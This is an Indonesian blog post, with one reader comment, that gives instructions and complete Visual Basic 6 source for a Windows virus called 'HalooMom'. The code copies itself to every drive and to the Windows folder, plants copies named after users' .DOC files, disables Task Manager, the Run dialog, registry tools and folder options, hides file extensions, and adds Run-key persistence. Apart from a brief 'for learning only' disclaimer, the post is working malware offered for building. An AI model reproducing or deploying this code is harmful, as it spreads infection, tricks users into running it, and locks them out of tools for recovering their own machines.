Membuat Virus HalooMom

Peringatan

Artikel ini hanya untuk pembelajaran saja, menyalah gunakan artikel ini bukan tanggung jawab penulis.

Sebelum menulis kode di bawah ini, pertama-tama program aplikasi Visual Basic 6 harus sudah terinstalasi di komputer Anda. Setelah itu buka project baru dan masukkan sebuah modul di dalam project Anda. Tapi ingat setelah Anda memberikan sebuah modul, hilangkan form1 Anda. Setelah itu pada Properties Project ganti startup aplikasi Anda dari Form1 ke Sub Main. Setelah itu ketik kode di bawah ini.

Code:
Private Declare Function GetDriveType Lib “kernel32” _
Alias “GetDriveTypeA” (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib “kernel32” _
Alias “GetWindowsDirectoryA” (ByVal ipBuffer As String, ByVal nSize As Long) As Long

Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260

Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

Private Declare Function FindFirstFile Lib “kernel32” Alias “FindFirstFileA” _
(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib “kernel32” Alias “FindNextFileA” _
(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib “kernel32” (ByVal hFindFile As Long) As Long
Private Declare Function CopyFile Lib “kernel32” Alias “CopyFileA” _
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private pbMessage As Boolean

Private Function DriveType(Drive As String) As String
Dim sAns As String, lAns As Long
If Len(Drive) = 1 Then Drive = Drive & “:\”
If Len(Drive) = 2 And Right$(Drive, 1) = “:” Then Drive = Drive & “\”
lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = “Removable Drive”
Case 3
sAns = “Fixed Drive”
Case 4
sAns = “Remote Drive”
Case 5
sAns = “CD-ROM”
Case 6
sAns = “RAM Disk”
Case Else
sAns = “Drive Doesn’t Exist”
End Select
DriveType = sAns
End Function

Private Sub kodepengganda()
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
For ictr = 65 To 90
sDrive = Chr(ictr) & “:\”
If DriveType(sDrive) <> “Drive Doesn’t Exist” Then
On Error Resume Next
FileCopy App.Path & “\” & App.EXEName & “.exe”, sDrive & “HalooMom.exe”
End If
Next
End Sub

Private Sub kopikewindows()
Dim Buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(Buffer, 255)
On Error Resume Next
FileCopy App.Path & “\” & App.EXEName & “.exe”, Left(Buffer, x) & “\Readme.exe”
End Sub

Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject(“wscript.shell”)
b.RegWrite Folder, Value
End Sub

Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject(“wscript.shell”)
b.RegWrite Folder, Value, “REG_DWORD”
End Sub

Sub kodepertahanan()
CreateIntegerKey “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, 1
CreateIntegerKey “HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, 1
CreateIntegerKey “HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue”, 1
CreateIntegerKey “HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue”, 1
CreateIntegerKey “HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue”, 2
CreateIntegerKey “HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue”, 2
CreateIntegerKey “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDispCPL”, 1
CreateIntegerKey “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, 1
CreateIntegerKey “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, 1
Dim titik As String
titik = “”””
CreateKey “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\IKernel”, titik & “C:\Windows\Readme.exe” & titik
CreateKey “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\HalooMom”, titik & “C:\HalooMom.exe” & titik
CreateKey “HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption”, titik & “www.jombang-city.net” & titik
CreateKey “HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext”, titik & “Ibu adalah orang yang melahirkan kita jadi jangan pernah durhaka kepadanya” & titik
CreateIntegerKey “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, 1
End Sub

Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = “*.*”)
Screen.MousePointer = vbHourglass
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
fPath = AddBackSlash(Path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile “C:\Windows\Readme.exe”, fPath & StripNulls(WFD.cFileName) & “.exe”, 1
End If
If hFile > 0 Then
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile “C:\Windows\Readme.exe”, fPath & StripNulls(WFD.cFileName) & “.exe”, 1
End If
Wend
End If
If SubFolder Then
hFile = FindFirstFile(fPath & “*.*”, WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> “.” And StripNulls(WFD.cFileName) <> “..” Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> “.” And StripNulls(WFD.cFileName) <> “..” Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend
End If
FindClose hFile
Screen.MousePointer = vbDefault
End Sub

Private Function StripNulls(f As String) As String
StripNulls = Left$(f, InStr(1, f, Chr$(0)) – 1)
End Function

Private Function AddBackSlash(S As String) As String
If Len(S) Then
If Right$(S, 1) <> “\” Then
AddBackSlash = S & “\”
Else
AddBackSlash = S
End If
Else
AddBackSlash = “\”
End If
End Function

Sub Manipulasi()
GetFiles “C:”, True, “*.DOC”
GetFiles “D:”, True, “*.DOC”
GetFiles “E:”, True, “*.DOC”
GetFiles “F:”, True, “*.DOC”
End Sub

Sub Main()
kodepengganda
kopikewindows
Manipulasi
kodepertahanan
Call Ulang
End Sub

Sub Ulang()
Call Main
End Sub

Satu Balasan ke Membuat Virus HalooMom

  1. ai.gilbert mengatakan:

    ntar di coba ya,..
    klo ada kesalahan boleh nanya2 yah…
    soalnya z masih amatiran n baru blajar vb
    makasih sebelmnya

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

%d blogger menyukai ini: